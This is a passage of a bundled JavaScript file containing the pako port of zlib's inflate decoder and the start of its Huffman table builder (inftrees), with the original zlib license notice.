              state.check = crc32(state.check, hbuf, 2, 0);
              //===//
            }
            //=== INITBITS();
            hold = 0;
            bits = 0;
            //===//
          }
          else if (state.head) {
            state.head.extra = null/*Z_NULL*/;
          }
          state.mode = EXTRA;
          /* falls through */
        case EXTRA:
          if (state.flags & 0x0400) {
            copy = state.length;
            if (copy > have) { copy = have; }
            if (copy) {
              if (state.head) {
                len = state.head.extra_len - state.length;
                if (!state.head.extra) {
                  // Use untyped array for more convenient processing later
                  state.head.extra = new Array(state.head.extra_len);
                }
                utils.arraySet(
                  state.head.extra,
                  input,
                  next,
                  // extra field is limited to 65536 bytes
                  // - no need for additional size check
                  copy,
                  /*len + copy > state.head.extra_max - len ? state.head.extra_max : copy,*/
                  len
                );
                //zmemcpy(state.head.extra + len, next,
                //        len + copy > state.head.extra_max ?
                //        state.head.extra_max - len : copy);
              }
              if (state.flags & 0x0200) {
                state.check = crc32(state.check, input, copy, next);
              }
              have -= copy;
              next += copy;
              state.length -= copy;
            }
            if (state.length) { break inf_leave; }
          }
          state.length = 0;
          state.mode = NAME;
          /* falls through */
        case NAME:
          if (state.flags & 0x0800) {
            if (have === 0) { break inf_leave; }
            copy = 0;
            do {
              // TODO: 2 or 1 bytes?
              len = input[next + copy++];
              /* use constant limit because in js we should not preallocate memory */
              if (state.head && len &&
                  (state.length < 65536 /*state.head.name_max*/)) {
                state.head.name += String.fromCharCode(len);
              }
            } while (len && copy < have);

            if (state.flags & 0x0200) {
              state.check = crc32(state.check, input, copy, next);
            }
            have -= copy;
            next += copy;
            if (len) { break inf_leave; }
          }
          else if (state.head) {
            state.head.name = null;
          }
          state.length = 0;
          state.mode = COMMENT;
          /* falls through */
        case COMMENT:
          if (state.flags & 0x1000) {
            if (have === 0) { break inf_leave; }
            copy = 0;
            do {
              len = input[next + copy++];
              /* use constant limit because in js we should not preallocate memory */
              if (state.head && len &&
                  (state.length < 65536 /*state.head.comm_max*/)) {
                state.head.comment += String.fromCharCode(len);
              }
            } while (len && copy < have);
            if (state.flags & 0x0200) {
              state.check = crc32(state.check, input, copy, next);
            }
            have -= copy;
            next += copy;
            if (len) { break inf_leave; }
          }
          else if (state.head) {
            state.head.comment = null;
          }
          state.mode = HCRC;
          /* falls through */
        case HCRC:
          if (state.flags & 0x0200) {
            //=== NEEDBITS(16); */
            while (bits < 16) {
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
            }
            //===//
            if (hold !== (state.check & 0xffff)) {
              strm.msg = 'header crc mismatch';
              state.mode = BAD;
              break;
            }
            //=== INITBITS();
            hold = 0;
            bits = 0;
            //===//
          }
          if (state.head) {
            state.head.hcrc = ((state.flags >> 9) & 1);
            state.head.done = true;
          }
          strm.adler = state.check = 0;
          state.mode = TYPE;
          break;
        case DICTID:
          //=== NEEDBITS(32); */
          while (bits < 32) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          strm.adler = state.check = zswap32(hold);
          //=== INITBITS();
          hold = 0;
          bits = 0;
          //===//
          state.mode = DICT;
          /* falls through */
        case DICT:
          if (state.havedict === 0) {
            //--- RESTORE() ---
            strm.next_out = put;
            strm.avail_out = left;
            strm.next_in = next;
            strm.avail_in = have;
            state.hold = hold;
            state.bits = bits;
            //---
            return Z_NEED_DICT;
          }
          strm.adler = state.check = 1/*adler32(0L, Z_NULL, 0)*/;
          state.mode = TYPE;
          /* falls through */
        case TYPE:
          if (flush === Z_BLOCK || flush === Z_TREES) { break inf_leave; }
          /* falls through */
        case TYPEDO:
          if (state.last) {
            //--- BYTEBITS() ---//
            hold >>>= bits & 7;
            bits -= bits & 7;
            //---//
            state.mode = CHECK;
            break;
          }
          //=== NEEDBITS(3); */
          while (bits < 3) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          state.last = (hold & 0x01)/*BITS(1)*/;
          //--- DROPBITS(1) ---//
          hold >>>= 1;
          bits -= 1;
          //---//

          switch ((hold & 0x03)/*BITS(2)*/) {
            case 0:                             /* stored block */
              //Tracev((stderr, "inflate:     stored block%s\n",
              //        state.last ? " (last)" : ""));
              state.mode = STORED;
              break;
            case 1:                             /* fixed block */
              fixedtables(state);
              //Tracev((stderr, "inflate:     fixed codes block%s\n",
              //        state.last ? " (last)" : ""));
              state.mode = LEN_;             /* decode codes */
              if (flush === Z_TREES) {
                //--- DROPBITS(2) ---//
                hold >>>= 2;
                bits -= 2;
                //---//
                break inf_leave;
              }
              break;
            case 2:                             /* dynamic block */
              //Tracev((stderr, "inflate:     dynamic codes block%s\n",
              //        state.last ? " (last)" : ""));
              state.mode = TABLE;
              break;
            case 3:
              strm.msg = 'invalid block type';
              state.mode = BAD;
          }
          //--- DROPBITS(2) ---//
          hold >>>= 2;
          bits -= 2;
          //---//
          break;
        case STORED:
          //--- BYTEBITS() ---// /* go to byte boundary */
          hold >>>= bits & 7;
          bits -= bits & 7;
          //---//
          //=== NEEDBITS(32); */
          while (bits < 32) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          if ((hold & 0xffff) !== ((hold >>> 16) ^ 0xffff)) {
            strm.msg = 'invalid stored block lengths';
            state.mode = BAD;
            break;
          }
          state.length = hold & 0xffff;
          //Tracev((stderr, "inflate:       stored length %u\n",
          //        state.length));
          //=== INITBITS();
          hold = 0;
          bits = 0;
          //===//
          state.mode = COPY_;
          if (flush === Z_TREES) { break inf_leave; }
          /* falls through */
        case COPY_:
          state.mode = COPY;
          /* falls through */
        case COPY:
          copy = state.length;
          if (copy) {
            if (copy > have) { copy = have; }
            if (copy > left) { copy = left; }
            if (copy === 0) { break inf_leave; }
            //--- zmemcpy(put, next, copy); ---
            utils.arraySet(output, input, next, copy, put);
            //---//
            have -= copy;
            next += copy;
            left -= copy;
            put += copy;
            state.length -= copy;
            break;
          }
          //Tracev((stderr, "inflate:       stored end\n"));
          state.mode = TYPE;
          break;
        case TABLE:
          //=== NEEDBITS(14); */
          while (bits < 14) {
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
          }
          //===//
          state.nlen = (hold & 0x1f)/*BITS(5)*/ + 257;
          //--- DROPBITS(5) ---//
          hold >>>= 5;
          bits -= 5;
          //---//
          state.ndist = (hold & 0x1f)/*BITS(5)*/ + 1;
          //--- DROPBITS(5) ---//
          hold >>>= 5;
          bits -= 5;
          //---//
          state.ncode = (hold & 0x0f)/*BITS(4)*/ + 4;
          //--- DROPBITS(4) ---//
          hold >>>= 4;
          bits -= 4;
          //---//
  //#ifndef PKZIP_BUG_WORKAROUND
          if (state.nlen > 286 || state.ndist > 30) {
            strm.msg = 'too many length or distance symbols';
            state.mode = BAD;
            break;
          }
  //#endif
          //Tracev((stderr, "inflate:       table sizes ok\n"));
          state.have = 0;
          state.mode = LENLENS;
          /* falls through */
        case LENLENS:
          while (state.have < state.ncode) {
            //=== NEEDBITS(3);
            while (bits < 3) {
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
            }
            //===//
            state.lens[order[state.have++]] = (hold & 0x07);//BITS(3);
            //--- DROPBITS(3) ---//
            hold >>>= 3;
            bits -= 3;
            //---//
          }
          while (state.have < 19) {
            state.lens[order[state.have++]] = 0;
          }
          // We have separate tables & no pointers. 2 commented lines below not needed.
          //state.next = state.codes;
          //state.lencode = state.next;
          // Switch to use dynamic table
          state.lencode = state.lendyn;
          state.lenbits = 7;

          opts = { bits: state.lenbits };
          ret = inflate_table(CODES, state.lens, 0, 19, state.lencode, 0, state.work, opts);
          state.lenbits = opts.bits;

          if (ret) {
            strm.msg = 'invalid code lengths set';
            state.mode = BAD;
            break;
          }
          //Tracev((stderr, "inflate:       code lengths ok\n"));
          state.have = 0;
          state.mode = CODELENS;
          /* falls through */
        case CODELENS:
          while (state.have < state.nlen + state.ndist) {
            for (;;) {
              here = state.lencode[hold & ((1 << state.lenbits) - 1)];/*BITS(state.lenbits)*/
              here_bits = here >>> 24;
              here_op = (here >>> 16) & 0xff;
              here_val = here & 0xffff;

              if ((here_bits) <= bits) { break; }
              //--- PULLBYTE() ---//
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
              //---//
            }
            if (here_val < 16) {
              //--- DROPBITS(here.bits) ---//
              hold >>>= here_bits;
              bits -= here_bits;
              //---//
              state.lens[state.have++] = here_val;
            }
            else {
              if (here_val === 16) {
                //=== NEEDBITS(here.bits + 2);
                n = here_bits + 2;
                while (bits < n) {
                  if (have === 0) { break inf_leave; }
                  have--;
                  hold += input[next++] << bits;
                  bits += 8;
                }
                //===//
                //--- DROPBITS(here.bits) ---//
                hold >>>= here_bits;
                bits -= here_bits;
                //---//
                if (state.have === 0) {
                  strm.msg = 'invalid bit length repeat';
                  state.mode = BAD;
                  break;
                }
                len = state.lens[state.have - 1];
                copy = 3 + (hold & 0x03);//BITS(2);
                //--- DROPBITS(2) ---//
                hold >>>= 2;
                bits -= 2;
                //---//
              }
              else if (here_val === 17) {
                //=== NEEDBITS(here.bits + 3);
                n = here_bits + 3;
                while (bits < n) {
                  if (have === 0) { break inf_leave; }
                  have--;
                  hold += input[next++] << bits;
                  bits += 8;
                }
                //===//
                //--- DROPBITS(here.bits) ---//
                hold >>>= here_bits;
                bits -= here_bits;
                //---//
                len = 0;
                copy = 3 + (hold & 0x07);//BITS(3);
                //--- DROPBITS(3) ---//
                hold >>>= 3;
                bits -= 3;
                //---//
              }
              else {
                //=== NEEDBITS(here.bits + 7);
                n = here_bits + 7;
                while (bits < n) {
                  if (have === 0) { break inf_leave; }
                  have--;
                  hold += input[next++] << bits;
                  bits += 8;
                }
                //===//
                //--- DROPBITS(here.bits) ---//
                hold >>>= here_bits;
                bits -= here_bits;
                //---//
                len = 0;
                copy = 11 + (hold & 0x7f);//BITS(7);
                //--- DROPBITS(7) ---//
                hold >>>= 7;
                bits -= 7;
                //---//
              }
              if (state.have + copy > state.nlen + state.ndist) {
                strm.msg = 'invalid bit length repeat';
                state.mode = BAD;
                break;
              }
              while (copy--) {
                state.lens[state.have++] = len;
              }
            }
          }

          /* handle error breaks in while */
          if (state.mode === BAD) { break; }

          /* check for end-of-block code (better have one) */
          if (state.lens[256] === 0) {
            strm.msg = 'invalid code -- missing end-of-block';
            state.mode = BAD;
            break;
          }

          /* build code tables -- note: do not change the lenbits or distbits
             values here (9 and 6) without reading the comments in inftrees.h
             concerning the ENOUGH constants, which depend on those values */
          state.lenbits = 9;

          opts = { bits: state.lenbits };
          ret = inflate_table(LENS, state.lens, 0, state.nlen, state.lencode, 0, state.work, opts);
          // We have separate tables & no pointers. 2 commented lines below not needed.
          // state.next_index = opts.table_index;
          state.lenbits = opts.bits;
          // state.lencode = state.next;

          if (ret) {
            strm.msg = 'invalid literal/lengths set';
            state.mode = BAD;
            break;
          }

          state.distbits = 6;
          //state.distcode.copy(state.codes);
          // Switch to use dynamic table
          state.distcode = state.distdyn;
          opts = { bits: state.distbits };
          ret = inflate_table(DISTS, state.lens, state.nlen, state.ndist, state.distcode, 0, state.work, opts);
          // We have separate tables & no pointers. 2 commented lines below not needed.
          // state.next_index = opts.table_index;
          state.distbits = opts.bits;
          // state.distcode = state.next;

          if (ret) {
            strm.msg = 'invalid distances set';
            state.mode = BAD;
            break;
          }
          //Tracev((stderr, 'inflate:       codes ok\n'));
          state.mode = LEN_;
          if (flush === Z_TREES) { break inf_leave; }
          /* falls through */
        case LEN_:
          state.mode = LEN;
          /* falls through */
        case LEN:
          if (have >= 6 && left >= 258) {
            //--- RESTORE() ---
            strm.next_out = put;
            strm.avail_out = left;
            strm.next_in = next;
            strm.avail_in = have;
            state.hold = hold;
            state.bits = bits;
            //---
            inflate_fast(strm, _out);
            //--- LOAD() ---
            put = strm.next_out;
            output = strm.output;
            left = strm.avail_out;
            next = strm.next_in;
            input = strm.input;
            have = strm.avail_in;
            hold = state.hold;
            bits = state.bits;
            //---

            if (state.mode === TYPE) {
              state.back = -1;
            }
            break;
          }
          state.back = 0;
          for (;;) {
            here = state.lencode[hold & ((1 << state.lenbits) - 1)];  /*BITS(state.lenbits)*/
            here_bits = here >>> 24;
            here_op = (here >>> 16) & 0xff;
            here_val = here & 0xffff;

            if (here_bits <= bits) { break; }
            //--- PULLBYTE() ---//
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
            //---//
          }
          if (here_op && (here_op & 0xf0) === 0) {
            last_bits = here_bits;
            last_op = here_op;
            last_val = here_val;
            for (;;) {
              here = state.lencode[last_val +
                      ((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];
              here_bits = here >>> 24;
              here_op = (here >>> 16) & 0xff;
              here_val = here & 0xffff;

              if ((last_bits + here_bits) <= bits) { break; }
              //--- PULLBYTE() ---//
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
              //---//
            }
            //--- DROPBITS(last.bits) ---//
            hold >>>= last_bits;
            bits -= last_bits;
            //---//
            state.back += last_bits;
          }
          //--- DROPBITS(here.bits) ---//
          hold >>>= here_bits;
          bits -= here_bits;
          //---//
          state.back += here_bits;
          state.length = here_val;
          if (here_op === 0) {
            //Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
            //        "inflate:         literal '%c'\n" :
            //        "inflate:         literal 0x%02x\n", here.val));
            state.mode = LIT;
            break;
          }
          if (here_op & 32) {
            //Tracevv((stderr, "inflate:         end of block\n"));
            state.back = -1;
            state.mode = TYPE;
            break;
          }
          if (here_op & 64) {
            strm.msg = 'invalid literal/length code';
            state.mode = BAD;
            break;
          }
          state.extra = here_op & 15;
          state.mode = LENEXT;
          /* falls through */
        case LENEXT:
          if (state.extra) {
            //=== NEEDBITS(state.extra);
            n = state.extra;
            while (bits < n) {
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
            }
            //===//
            state.length += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;
            //--- DROPBITS(state.extra) ---//
            hold >>>= state.extra;
            bits -= state.extra;
            //---//
            state.back += state.extra;
          }
          //Tracevv((stderr, "inflate:         length %u\n", state.length));
          state.was = state.length;
          state.mode = DIST;
          /* falls through */
        case DIST:
          for (;;) {
            here = state.distcode[hold & ((1 << state.distbits) - 1)];/*BITS(state.distbits)*/
            here_bits = here >>> 24;
            here_op = (here >>> 16) & 0xff;
            here_val = here & 0xffff;

            if ((here_bits) <= bits) { break; }
            //--- PULLBYTE() ---//
            if (have === 0) { break inf_leave; }
            have--;
            hold += input[next++] << bits;
            bits += 8;
            //---//
          }
          if ((here_op & 0xf0) === 0) {
            last_bits = here_bits;
            last_op = here_op;
            last_val = here_val;
            for (;;) {
              here = state.distcode[last_val +
                      ((hold & ((1 << (last_bits + last_op)) - 1))/*BITS(last.bits + last.op)*/ >> last_bits)];
              here_bits = here >>> 24;
              here_op = (here >>> 16) & 0xff;
              here_val = here & 0xffff;

              if ((last_bits + here_bits) <= bits) { break; }
              //--- PULLBYTE() ---//
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
              //---//
            }
            //--- DROPBITS(last.bits) ---//
            hold >>>= last_bits;
            bits -= last_bits;
            //---//
            state.back += last_bits;
          }
          //--- DROPBITS(here.bits) ---//
          hold >>>= here_bits;
          bits -= here_bits;
          //---//
          state.back += here_bits;
          if (here_op & 64) {
            strm.msg = 'invalid distance code';
            state.mode = BAD;
            break;
          }
          state.offset = here_val;
          state.extra = (here_op) & 15;
          state.mode = DISTEXT;
          /* falls through */
        case DISTEXT:
          if (state.extra) {
            //=== NEEDBITS(state.extra);
            n = state.extra;
            while (bits < n) {
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
            }
            //===//
            state.offset += hold & ((1 << state.extra) - 1)/*BITS(state.extra)*/;
            //--- DROPBITS(state.extra) ---//
            hold >>>= state.extra;
            bits -= state.extra;
            //---//
            state.back += state.extra;
          }
  //#ifdef INFLATE_STRICT
          if (state.offset > state.dmax) {
            strm.msg = 'invalid distance too far back';
            state.mode = BAD;
            break;
          }
  //#endif
          //Tracevv((stderr, "inflate:         distance %u\n", state.offset));
          state.mode = MATCH;
          /* falls through */
        case MATCH:
          if (left === 0) { break inf_leave; }
          copy = _out - left;
          if (state.offset > copy) {         /* copy from window */
            copy = state.offset - copy;
            if (copy > state.whave) {
              if (state.sane) {
                strm.msg = 'invalid distance too far back';
                state.mode = BAD;
                break;
              }
  // (!) This block is disabled in zlib defaults,
  // don't enable it for binary compatibility
  //#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
  //          Trace((stderr, "inflate.c too far\n"));
  //          copy -= state.whave;
  //          if (copy > state.length) { copy = state.length; }
  //          if (copy > left) { copy = left; }
  //          left -= copy;
  //          state.length -= copy;
  //          do {
  //            output[put++] = 0;
  //          } while (--copy);
  //          if (state.length === 0) { state.mode = LEN; }
  //          break;
  //#endif
            }
            if (copy > state.wnext) {
              copy -= state.wnext;
              from = state.wsize - copy;
            }
            else {
              from = state.wnext - copy;
            }
            if (copy > state.length) { copy = state.length; }
            from_source = state.window;
          }
          else {                              /* copy from output */
            from_source = output;
            from = put - state.offset;
            copy = state.length;
          }
          if (copy > left) { copy = left; }
          left -= copy;
          state.length -= copy;
          do {
            output[put++] = from_source[from++];
          } while (--copy);
          if (state.length === 0) { state.mode = LEN; }
          break;
        case LIT:
          if (left === 0) { break inf_leave; }
          output[put++] = state.length;
          left--;
          state.mode = LEN;
          break;
        case CHECK:
          if (state.wrap) {
            //=== NEEDBITS(32);
            while (bits < 32) {
              if (have === 0) { break inf_leave; }
              have--;
              // Use '|' instead of '+' to make sure that result is signed
              hold |= input[next++] << bits;
              bits += 8;
            }
            //===//
            _out -= left;
            strm.total_out += _out;
            state.total += _out;
            if (_out) {
              strm.adler = state.check =
                  /*UPDATE(state.check, put - _out, _out);*/
                  (state.flags ? crc32(state.check, output, _out, put - _out) : adler32(state.check, output, _out, put - _out));

            }
            _out = left;
            // NB: crc32 stored as signed 32-bit int, zswap32 returns signed too
            if ((state.flags ? hold : zswap32(hold)) !== state.check) {
              strm.msg = 'incorrect data check';
              state.mode = BAD;
              break;
            }
            //=== INITBITS();
            hold = 0;
            bits = 0;
            //===//
            //Tracev((stderr, "inflate:   check matches trailer\n"));
          }
          state.mode = LENGTH;
          /* falls through */
        case LENGTH:
          if (state.wrap && state.flags) {
            //=== NEEDBITS(32);
            while (bits < 32) {
              if (have === 0) { break inf_leave; }
              have--;
              hold += input[next++] << bits;
              bits += 8;
            }
            //===//
            if (hold !== (state.total & 0xffffffff)) {
              strm.msg = 'incorrect length check';
              state.mode = BAD;
              break;
            }
            //=== INITBITS();
            hold = 0;
            bits = 0;
            //===//
            //Tracev((stderr, "inflate:   length matches trailer\n"));
          }
          state.mode = DONE;
          /* falls through */
        case DONE:
          ret = Z_STREAM_END;
          break inf_leave;
        case BAD:
          ret = Z_DATA_ERROR;
          break inf_leave;
        case MEM:
          return Z_MEM_ERROR;
        case SYNC:
          /* falls through */
        default:
          return Z_STREAM_ERROR;
      }
    }

    // inf_leave <- here is real place for "goto inf_leave", emulated via "break inf_leave"

    /*
       Return from inflate(), updating the total counts and the check value.
       If there was no progress during the inflate() call, return a buffer
       error.  Call updatewindow() to create and/or update the window state.
       Note: a memory error from inflate() is non-recoverable.
     */

    //--- RESTORE() ---
    strm.next_out = put;
    strm.avail_out = left;
    strm.next_in = next;
    strm.avail_in = have;
    state.hold = hold;
    state.bits = bits;
    //---

    if (state.wsize || (_out !== strm.avail_out && state.mode < BAD &&
                        (state.mode < CHECK || flush !== Z_FINISH))) {
      if (updatewindow(strm, strm.output, strm.next_out, _out - strm.avail_out)) {
        state.mode = MEM;
        return Z_MEM_ERROR;
      }
    }
    _in -= strm.avail_in;
    _out -= strm.avail_out;
    strm.total_in += _in;
    strm.total_out += _out;
    state.total += _out;
    if (state.wrap && _out) {
      strm.adler = state.check = /*UPDATE(state.check, strm.next_out - _out, _out);*/
        (state.flags ? crc32(state.check, output, _out, strm.next_out - _out) : adler32(state.check, output, _out, strm.next_out - _out));
    }
    strm.data_type = state.bits + (state.last ? 64 : 0) +
                      (state.mode === TYPE ? 128 : 0) +
                      (state.mode === LEN_ || state.mode === COPY_ ? 256 : 0);
    if (((_in === 0 && _out === 0) || flush === Z_FINISH) && ret === Z_OK) {
      ret = Z_BUF_ERROR;
    }
    return ret;
  }

  function inflateEnd(strm) {

    if (!strm || !strm.state /*|| strm->zfree == (free_func)0*/) {
      return Z_STREAM_ERROR;
    }

    var state = strm.state;
    if (state.window) {
      state.window = null;
    }
    strm.state = null;
    return Z_OK;
  }

  function inflateGetHeader(strm, head) {
    var state;

    /* check state */
    if (!strm || !strm.state) { return Z_STREAM_ERROR; }
    state = strm.state;
    if ((state.wrap & 2) === 0) { return Z_STREAM_ERROR; }

    /* save header structure */
    state.head = head;
    head.done = false;
    return Z_OK;
  }

  function inflateSetDictionary(strm, dictionary) {
    var dictLength = dictionary.length;

    var state;
    var dictid;
    var ret;

    /* check state */
    if (!strm /* == Z_NULL */ || !strm.state /* == Z_NULL */) { return Z_STREAM_ERROR; }
    state = strm.state;

    if (state.wrap !== 0 && state.mode !== DICT) {
      return Z_STREAM_ERROR;
    }

    /* check for correct dictionary identifier */
    if (state.mode === DICT) {
      dictid = 1; /* adler32(0, null, 0)*/
      /* dictid = adler32(dictid, dictionary, dictLength); */
      dictid = adler32(dictid, dictionary, dictLength, 0);
      if (dictid !== state.check) {
        return Z_DATA_ERROR;
      }
    }
    /* copy dictionary to window using updatewindow(), which will amend the
     existing dictionary if appropriate */
    ret = updatewindow(strm, dictionary, dictLength, dictLength);
    if (ret) {
      state.mode = MEM;
      return Z_MEM_ERROR;
    }
    state.havedict = 1;
    // Tracev((stderr, "inflate:   dictionary set\n"));
    return Z_OK;
  }

  exports.inflateReset = inflateReset;
  exports.inflateReset2 = inflateReset2;
  exports.inflateResetKeep = inflateResetKeep;
  exports.inflateInit = inflateInit;
  exports.inflateInit2 = inflateInit2;
  exports.inflate = inflate;
  exports.inflateEnd = inflateEnd;
  exports.inflateGetHeader = inflateGetHeader;
  exports.inflateSetDictionary = inflateSetDictionary;
  exports.inflateInfo = 'pako inflate (from Nodeca project)';

  /* Not implemented
  exports.inflateCopy = inflateCopy;
  exports.inflateGetDictionary = inflateGetDictionary;
  exports.inflateMark = inflateMark;
  exports.inflatePrime = inflatePrime;
  exports.inflateSync = inflateSync;
  exports.inflateSyncPoint = inflateSyncPoint;
  exports.inflateUndermine = inflateUndermine;
  */

  },{"../utils/common":1,"./adler32":3,"./crc32":5,"./inffast":7,"./inftrees":9}],9:[function(require,module,exports){
  'use strict';

  // (C) 1995-2013 Jean-loup Gailly and Mark Adler
  // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
  //
  // This software is provided 'as-is', without any express or implied
  // warranty. In no event will the authors be held liable for any damages
  // arising from the use of this software.
  //
  // Permission is granted to anyone to use this software for any purpose,
  // including commercial applications, and to alter it and redistribute it
  // freely, subject to the following restrictions:
  //
  // 1. The origin of this software must not be misrepresented; you must not
  //   claim that you wrote the original software. If you use this software
  //   in a product, an acknowledgment in the product documentation would be
  //   appreciated but is not required.
  // 2. Altered source versions must be plainly marked as such, and must not be
  //   misrepresented as being the original software.
  // 3. This notice may not be removed or altered from any source distribution.

  var utils = require('../utils/common');

  var MAXBITS = 15;
  var ENOUGH_LENS = 852;
  var ENOUGH_DISTS = 592;
  //var ENOUGH = (ENOUGH_LENS+ENOUGH_DISTS);

  var CODES = 0;
  var LENS = 1;
  var DISTS = 2;

  var lbase = [ /* Length codes 257..285 base */
    3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,
    35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, 0
  ];

  var lext = [ /* Length codes 257..285 extra */
    16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18,
    19, 19, 19, 19, 20, 20, 20, 20, 21, 21, 21, 21, 16, 72, 78
  ];

  var dbase = [ /* Distance codes 0..29 base */
    1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,
    257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,
    8193, 12289, 16385, 24577, 0, 0
  ];

  var dext = [ /* Distance codes 0..29 extra */
    16, 16, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22,
    23, 23, 24, 24, 25, 25, 26, 26, 27, 27,
    28, 28, 29, 29, 64, 64
  ];

  module.exports = function inflate_table(type, lens, lens_index, codes, table, table_index, work, opts)
  {
    var bits = opts.bits;
        //here = opts.here; /* table entry for duplication */

    var len = 0;               /* a code's length in bits */
    var sym = 0;               /* index of code symbols */
    var min = 0, max = 0;          /* minimum and maximum code lengths */
    var root = 0;              /* number of index bits for root table */
    var curr = 0;              /* number of index bits for current table */
    var drop = 0;              /* code bits to drop for sub-table */
    var left = 0;                   /* number of prefix codes available */
    var used = 0;              /* code entries in table used */
    var huff = 0;              /* Huffman code */
    var incr;              /* for incrementing code, index */
    var fill;              /* index for replicating entries */
    var low;               /* low bits for current root entry */
    var mask;              /* mask for low root bits */
    var next;             /* next available space in table */
    var base = null;     /* base value table to use */
    var base_index = 0;
  //  var shoextra;    /* extra bits table to use */
    var end;                    /* use base and extra for symbol > end */
    var count = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1];    /* number of codes of each length */
    var offs = new utils.Buf16(MAXBITS + 1); //[MAXBITS+1];     /* offsets in table for each length */
    var extra = null;
    var extra_index = 0;

    var here_bits, here_op, here_val;

    /*
     Process a set of code lengths to create a canonical Huffman code.  The
     code lengths are lens[0..codes-1].  Each length corresponds to the
     symbols 0..codes-1.  The Huffman code is generated by first sorting the
     symbols by length from short to long, and retaining the symbol order
     for codes with equal lengths.  Then the code starts with all zero bits
     for the first code of the shortest length, and the codes are integer
     increments for the same length, and zeros are appended as the length
     increases.  For the deflate format, these bits are stored backwards
     from their more natural integer increment ordering, and so when the
     decoding tables are built in the large loop below, the integer codes
     are incremented backwards.

     This routine assumes, but does not check, that all of the entries in
     lens[] are in the range 0..MAXBITS.  The caller must assure this.
     1..MAXBITS is interpreted as that code length.  zero means that that
     symbol does not occur in this code.

     The codes are sorted by computing a count of codes for each length,
     creating from that a table of starting indices for each length in the
     sorted table, and then entering the symbols in order in the sorted
     table.  The sorted table is work[], with that space being provided by
     the caller.

     The length counts are used for other purposes as well, i.e. finding
     the minimum and maximum length codes, determining if there are any
     codes at all, checking for a valid set of lengths, and looking ahead
     at length counts to determine sub-table sizes when building the
     decoding tables.
     */

    /* accumulate lengths for codes (assumes lens[] all in 0..MAXBITS) */
    for (len = 0; len <= MAXBITS; len++) {
      count[len] = 0;
    }
    for (sym = 0; sym < codes; sym++) {
      count[lens[lens_index + sym]]++;
    }

    /* bound code lengths, force root to be within code lengths */
    root = bits;
    for (max = MAXBITS; max >= 1; max--) {
      if (count[max] !== 0) { break; }
    }
    if (root > max) {
      root = max;
    }
    if (max === 0) {                     /* no symbols to code at all */
      //table.op[opts.table_index] = 64;  //here.op = (var char)64;    /* invalid code marker */
      //table.bits[opts.table_index] = 1;   //here.bits = (var char)1;
      //table.val[opts.table_index++] = 0;   //here.val = (var short)0;
      table[table_index++] = (1 << 24) | (64 << 16) | 0;


      //table.op[opts.table_index] = 64;
      //table.bits[opts.table_index] = 1;
      //table.val[opts.table_index++] = 0;
      table[table_index++] = (1 << 24) | (64 << 16) | 0;

      opts.bits = 1;
      return 0;     /* no symbols, but wait for decoding to report error */
    }
    for (min = 1; min < max; min++) {
      if (count[min] !== 0) { break; }
    }
    if (root < min) {
      root = min;
    }

    /* check for an over-subscribed or incomplete set of lengths */
    left = 1;
    for (len = 1; len <= MAXBITS; len++) {
      left <<= 1;
      left -= count[len];
      if (left < 0) {
        return -1;
      }        /* over-subscribed */
    }
    if (left > 0 && (type === CODES || max !== 1)) {
      return -1;                      /* incomplete set */
    }

    /* generate offsets into symbol table for each length for sorting */
    offs[1] = 0;
    for (len = 1; len < MAXBITS; len++) {
      offs[len + 1] = offs[len] + count[len];
    }

    /* sort symbols by length, by symbol order within each length */
    for (sym = 0; sym < codes; sym++) {
      if (lens[lens_index + sym] !== 0) {
        work[offs[lens[lens_index + sym]]++] = sym;
      }
    }

    /*
     Create and fill in decoding tables.  In this loop, the table being
     filled is at next and has curr index bits.  The code being used is huff
     with length len.  That code is converted to an index by dropping drop
     bits off of the bottom.  For codes where len is less than drop + curr,
     those top drop + curr - len bits are incremented through all values to
     fill the table with replicated entries.

     root is the number of index bits for the root table.  When len exceeds
     root, sub-tables are created pointed to by the root entry with an index
     of the low root bits of huff.  This is saved in low to check for when a
     new sub-table should be started.  drop is zero when the root table is
     being filled, and drop is root when sub-tables are being filled.

     When a new sub-table is needed, it is necessary to look ahead in the
     code lengths to determine what size sub-table is needed.  The length
     counts are used for this, and so count[] is decremented as codes are
     entered in the tables.

     used keeps track of how many table entries have been allocated from the
     provided *table space.  It is checked for LENS and DIST tables against
     the constants ENOUGH_LENS and ENOUGH_DISTS to guard against changes in
     the initial root table size constants.  See the comments in inftrees.h
     for more information.

     sym increments through all symbols, and the loop terminates when
     all codes of length max, i.e. all codes, have been processed.  This
     routine permits incomplete codes, so another loop after this one fills
     in the rest of the decoding tables with invalid code markers.
     */

    /* set up for code type */
    // poor man optimization - use if-else instead of switch,
    // to avoid deopts in old v8
    if (type === CODES) {
